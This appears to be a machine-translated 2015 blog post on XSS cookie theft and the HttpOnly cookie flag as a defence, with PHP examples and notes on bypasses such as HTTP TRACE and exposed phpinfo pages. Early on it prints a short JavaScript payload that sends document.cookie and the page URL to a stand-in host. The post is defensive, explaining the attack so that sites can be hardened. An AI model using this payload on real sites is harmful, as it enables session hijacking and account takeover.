With the rise of www services, more and more applications have shifted to B/S structures, so that a variety of web services can be accessed with just one browser, but this is also increasingly leading to more and more web security problems. www service relies on the Http protocol, Http is a stateless protocol, so in order to pass information between sessions, it is inevitable to use cookies or sessions and other technologies to mark the state of the visitor, and whether it is a cookie or a session, it is generally implemented using cookies (Session is actually marked with a token in the browser's cookie, The server obtains this token and checks the legitimacy and binds the corresponding state stored on the server to the browser), so that it inevitably focuses on the cookie safely, as long as this cookie is obtained, the identity of others can be obtained, which is a wonderful thing for intruders, especially when the obtained cookie belongs to a high-privileged person such as an administrator, the harm is even greater. Among various web security issues, the XSS vulnerability is particularly dangerous.
For applications, once there is an XSS vulnerability, it means that others can execute arbitrary JS scripts in your browser, and if the application is open source or the functions are public, others can use Ajax to use these functions, but the process is often cumbersome, especially if you want to directly obtain someone else's identity for casual browsing. For non-open source applications, such as the web background of some large sites (a significant feature of web2.0 is a large number of interactions, users often need to interact with the administrators in the background, such as bug reports, or information delivery, etc.), although there may be cross-site scripting vulnerabilities because of the existence of interaction, but because of the lack of understanding of the background, it is impossible to construct perfect ajax code to use, even if you can use js to obtain the background code and return it for analysis, but the process is also cumbersome and not hidden. At this time, it is very effective to use the xss vulnerability to obtain cookies or session hijacking, specifically analyze the authentication of the application, and then use certain techniques, and even permanently obtain the identity of the other party even if the other party exits the program.
So how to get cookie or session hijacking? In the document object in the browser, the cookie information is stored, and the cookie can be retrieved by using js, as long as you get this cookie, you can have someone else's identity. A typical XSS attack statement is as follows:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Some applications may adopt browser-binding techniques to address this issue, such as binding cookies to the browser's user-agent, and consider the cookie invalid once it is discovered. This method has proven to be ineffective, because when the intruder steals the cookie, he must have obtained the User-agent at the same time. There is also another strict one that binds cookies to Remote-addr (in fact, it is bound to IP, but some programs have problems with the method of obtaining IP, which also leads to sparedness), but this brings a very poor user experience, changing IP is a common thing, such as work and home are 2 IPs, so this method is often not adopted. Therefore, cookie-based attacks are very popular now, and it is easy to obtain the administrator status of the application on some web 2.0 sites.
How do we keep our sensitive cookies safe? Through the above analysis, general cookies are obtained from document objects, and we just need to make sensitive cookies invisible in the browser document. Fortunately, browsers now generally accept a parameter called HttpOnly when setting cookies, just like other parameters such as domain, once this HttpOnly is set, you will not see the cookie in the browser's document object, and the browser will not be affected in any way when browsing, because the cookie will be sent in the browser header (including ajax). Applications generally do not operate these sensitive cookies in js, we use HttpOnly for some sensitive cookies, and we do not set some cookies that need to be operated with js in the application, which ensures the security of cookie information and ensures the application. For more information about HttpOnly, see http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
The header for setting cookies on your browser is as follows:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Taking php as an example, support for HttpOnly has been added to the Setcookie function in php 5.2, for example:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
You can set the abc cookie to HttpOnly, and the document will not be visible to this cookie. Because the setcookie function is essentially a header, you can also use the header to set HttpOnly. Then use document.cookie to see that this cookie is no longer available. We use this method to protect Sessionid, such as some auth-cookies for authentication, so that we don't have to worry about the identity being obtained, which is of great significance for some background programs and webmail to improve security. When we use the above attack method again, we can see that we can no longer obtain sensitive cookies that we set as HttpOnly.
However, it can also be seen that HttpOnly is not omnipotent, first of all, it cannot solve the problem of xss, it still cannot resist the attack of some patient hackers, nor can it prevent intruders from doing ajax submissions, and even some xss-based proxies have appeared, but it has been possible to raise the threshold of attacks, at least xss attacks are not completed by every script kid, and other attack methods are due to some environmental and technical limitations. It's not as common as cookie stealing.
HttpOnly can also exploit some vulnerabilities or configure Bypass, the key problem is that as long as you can get the cookie header sent by the browser. For example, the previous Http Trace attack can return the cookie in your header, and this attack can be completed by using ajax or flash, which has also been patched in ajax and flash. Another notable example of possible bypass on configuration or application is phpinfo, as you know, phpinfo will display the http header sent by the browser, including the auth information we protect, and this page often exists on various sites, as long as you use ajax to get the phpinfo page, take out the part corresponding to the header header to get the cookie. Imperfections in some applications can also lead to header leakage, which can be attacked just as much as a page protected by basic verification.
HttpOnly is better supported in IE 6 and above, and is widely used in applications such as Hotmail, and has achieved relatively good security results.
|
Posted on 6/3/2015 8:57:48 PM
|
|
|
